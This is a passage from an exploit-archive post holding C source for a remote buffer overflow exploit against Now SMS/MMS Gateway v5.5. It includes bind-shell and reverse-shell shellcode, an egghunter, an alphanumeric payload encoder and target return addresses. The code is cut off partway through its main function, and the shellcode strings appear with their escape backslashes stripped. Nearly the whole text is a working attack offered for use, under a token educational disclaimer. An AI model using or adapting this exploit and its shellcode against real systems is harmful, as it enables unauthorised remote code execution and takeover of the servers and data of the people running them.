nowsmsmms-overflow.txt
Posted on 31 May 2008
/* Dreatica-FXP crew * * ---------------------------------------- * Target : Now SMS/MMS Gateway v5.5 and others * ---------------------------------------- * Exploit : Now SMS/MMS Gateway v5.5 Remote Buffer Overflow Exploit * Exploit date : 14.04.2008 * Exploit writer : Heretic2 (heretic2x@gmail.com) * OS : Windows ALL * Tested : Windows 2000 Server * Crew : Dreatica-FXP * Location : http://www.milw0rm.com/ * ---------------------------------------- * Info : We obtain EIP after sending a long Authentificate request to server * Egghunter help here. * ---------------------------------------- * Thanks to: * 1. Luigi Auriemma ( http://aluigi.org <aluigi [at] autistici.org> ) * 2. The Metasploit project ( http://metasploit.com ) * 3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl> ) * 4. Dreatica-FXP crew ( ) ************************************************************************************ * This was written for educational purpose only. Use it at your own risk. Author will be not be * responsible for any damage, caused by that code. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <time.h> #pragma comment(lib,"ws2_32") void usage(char * s); void logo(); void end_logo(); void print_info_banner_line(const char * key, const char * val); void extract_ip_and_port( char * &remotehost, int * port, char * str); int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx); void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret); int hr2_connect(char * remotehost, int port, int timeout); int hr2_udpconnect(char * remotehost, int port, struct sockaddr_in * addr, int timeout); int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout); int execute(struct _buf * abuf, char * remotehost, int port); struct _buf { unsigned char * ptr; unsigned int size; }; int construct_shellcode(int sh, struct _buf * shf, int target,char * rerverseip, int reverseport); int construct_buffer(struct _buf * shf, int target, struct _buf * abuf); // ----------------------------------------------------------------- // XGetopt.cpp Version 1.2 // ----------------------------------------------------------------- int getopt(int argc, char *argv[], char *optstring); char *optarg; // global argument pointer int optind = 0, opterr; // global argv index // ----------------------------------------------------------------- // ----------------------------------------------------------------- struct { const char * name; int length; char *shellcode; }shellcodes[]={ {"Bindshell, port 4444 [ args: none ]", 696, /* win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ "xebx03x59xebx05xe8xf8xffxffxffx49x49x37x49x49x49" "x49x49x49x49x49x49x49x49x49x49x49x49x51x5ax6ax42" "x58x50x30x42x31x41x42x6bx42x41x52x42x32x42x41x32" "x41x41x30x41x41x58x50x38x42x42x75x6ax49x4bx4cx62" "x4ax68x6bx30x4dx59x78x49x69x4bx4fx79x6fx69x6fx71" "x70x4ex6bx32x4cx51x34x64x64x6ex6bx41x55x77x4cx4c" "x4bx71x6cx35x55x64x38x54x41x58x6fx4cx4bx30x4fx47" "x68x4ex6bx53x6fx47x50x74x41x58x6bx70x49x4cx4bx35" "x64x6cx4bx36x61x68x6ex57x41x79x50x6fx69x4cx6cx6c" "x44x4bx70x63x44x43x37x5ax61x78x4ax44x4dx36x61x6a" "x62x38x6bx78x74x77x4bx51x44x74x64x76x48x51x65x4a" "x45x4ex6bx73x6fx61x34x55x51x5ax4bx71x76x6cx4bx64" "x4cx72x6bx4ex6bx63x6fx57x6cx75x51x7ax4bx33x33x34" "x6cx6cx4bx6ex69x72x4cx45x74x45x4cx30x61x4fx33x50" "x31x69x4bx61x74x6cx4bx57x33x66x50x4ex6bx43x70x64" "x4cx6ex6bx32x50x65x4cx6ex4dx6ex6bx77x30x67x78x31" "x4ex33x58x6cx4ex30x4ex34x4ex5ax4cx50x50x4bx4fx69" "x46x72x46x62x73x70x66x35x38x57x43x35x62x45x38x30" "x77x63x43x44x72x71x4fx71x44x79x6fx4ax70x73x58x78" "x4bx48x6dx4bx4cx77x4bx56x30x79x6fx7ax76x51x4fx6f" "x79x79x75x32x46x4bx31x48x6dx43x38x45x52x70x55x73" "x5ax33x32x6bx4fx4ax70x72x48x69x49x36x69x4cx35x6e" "x4dx50x57x4bx4fx6ax76x36x33x36x33x61x43x33x63x62" "x73x43x73x36x33x50x43x63x63x4bx4fx68x50x43x56x71" "x78x62x31x51x4cx30x66x30x53x6bx39x78x61x4cx55x65" "x38x4ex44x67x6ax74x30x6fx37x70x57x69x6fx6ex36x32" "x4ax36x70x43x61x32x75x79x6fx4ex30x50x68x4fx54x6e" "x4dx64x6ex6dx39x52x77x79x6fx58x56x66x33x36x35x69" "x6fx4ex30x45x38x38x65x72x69x6bx36x77x39x33x67x79" "x6fx6ex36x70x50x31x44x62x74x73x65x6bx4fx58x50x6d" "x43x50x68x4bx57x44x39x4fx36x64x39x71x47x6bx4fx49" "x46x63x65x6bx4fx4ax70x71x76x50x6ax50x64x50x66x70" "x68x50x63x52x4dx6ex69x58x65x32x4ax46x30x63x69x45" "x79x48x4cx4cx49x7ax47x63x5ax70x44x4dx59x78x62x36" "x51x39x50x38x73x4fx5ax6bx4ex41x52x64x6dx6bx4ex32" "x62x36x4cx4ex73x4cx4dx43x4ax34x78x4cx6bx6ex4bx6e" "x4bx51x78x70x72x6bx4ex4ex53x47x66x4bx4fx32x55x50" "x44x4bx4fx7ax76x43x6bx70x57x62x72x46x31x66x31x32" "x71x30x6ax35x51x33x61x32x71x33x65x53x61x4bx4fx5a" "x70x30x68x6ex4dx6ex39x73x35x7ax6ex62x73x4bx4fx48" "x56x63x5ax6bx4fx59x6fx57x47x39x6fx6ex30x4ex6bx30" "x57x59x6cx4bx33x38x44x45x34x59x6fx39x46x50x52x39" "x6fx58x50x65x38x38x70x6ex6ax37x74x53x6fx31x43x6b" "x4fx6ax76x6bx4fx78x50x42" }, {"ReverseShell [ args: -R <ip:port> ]", 287, /* * windows/shell_reverse_tcp - 287 bytes * http://www.metasploit.com * Encoder: generic/none */ "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8b" "x45x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01" "xebx49x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07" "xc1xcax0dx01xc2xebxf4x3bx54x24x28x75xe5x8bx5f" "x24x01xebx66x8bx0cx4bx8bx5fx1cx01xebx03x2cx8b" "x89x6cx24x1cx61xc3x31xdbx64x8bx43x30x8bx40x0c" "x8bx70x1cxadx8bx40x08x5ex68x8ex4ex0execx50xff" "xd6x66x53x66x68x33x32x68x77x73x32x5fx54xffxd0" "x68xcbxedxfcx3bx50xffxd6x5fx89xe5x66x81xedx08" "x02x55x6ax02xffxd0x68xd9x09xf5xadx57xffxd6x53" "x53x53x53x43x53x43x53xffxd0x68x7fx00x00x01x66" "x68x11x5cx66x53x89xe1x95x68xecxf9xaax60x57xff" "xd6x6ax10x51x55xffxd0x66x6ax64x66x68x63x6dx6a" "x50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3xaax95" "x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxabx68" "x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51" "x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xff" "xd6x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04" "xffxd6xffx77xfcxffxd0x68xf0x8ax04x5fx53xffxd6" "xffxd0" }, {NULL, 0, NULL} }; struct _target{ const char *t ; unsigned long ret ; } targets[]= { {"Now SMS/MMS Gateway universal", 0x10002f9d }, {"Now SMS/MMS Gateway v5.5", 0x0027727c }, {"DOS/Crash/Debug/Test/Fun", 0x41414141 }, {NULL, 0x00000000 } }; char egghunter[] = "x33xd2x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05" "x5ax74xefxb8x44x46x58x50x8bxfaxafx75xeaxafx75xe7" "xffxe7"; char header_b[] = "GET / HTTP/1.0 " "User-Agent: "; char header_m[] =" " "Authorization: Basic "; char header_e[] = " "; // memory for buffers unsigned char payloadbuffer[10000], a_buffer[10000]; long dwTimeout=5000; int timeout=5000; // alphanumeric decoder took from "ALPHA 2: Zero-tolerance." code char alphanum_decoder[] = "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49" "x49x49x49x49x49x49x49x49x49x49x49x37x51x5ax6ax41" "x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42x42" "x30x42x42x41x42x58x50x38x41x42x75x4ax49"; // alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code int alphanumeric_exec(char *to_encode, int len, char *encoded, int * rlen ) { int i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode); char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars char temp[10]; memset(temp, 0 , sizeof(temp)); srand((int)clock()); for(ii=0;ii<len;ii++) { input = to_encode[ii]; A = (input & 0xf0) >> 4; B = (input & 0x0f); F = B; i = rand() % ((int)strlen(valid_chars)); while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); } E = valid_chars[i] >> 4; D = (A^E); i = rand() % ((int)strlen(valid_chars)); while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); } C = valid_chars[i] >> 4; sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F); encoded[strlen(encoded)]=temp[0]; encoded[strlen(encoded)]=temp[1]; } encoded[strlen(encoded)]='A'; *rlen=(int)strlen(encoded); return 1; } int main(int argc, char **argv) { char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url=NULL,temp1[100]; int HAVE_R=0,HAVE_U=0,sh,port=8800,itarget=0,reverseport=9999; struct _buf fshellcode, sbuffer; logo(); if(argc<2) { usage(argv[0]); return -1; } WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); // set defaults sh=0; // ------------ while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF) { switch (c) { case 'h': if (strchr(optarg,':')==NULL) { remotehost=optarg; }else { sscanf(strchr(optarg,':')+1, "%d", &port); remotehost=optarg; *(strchr(remotehost,':'))='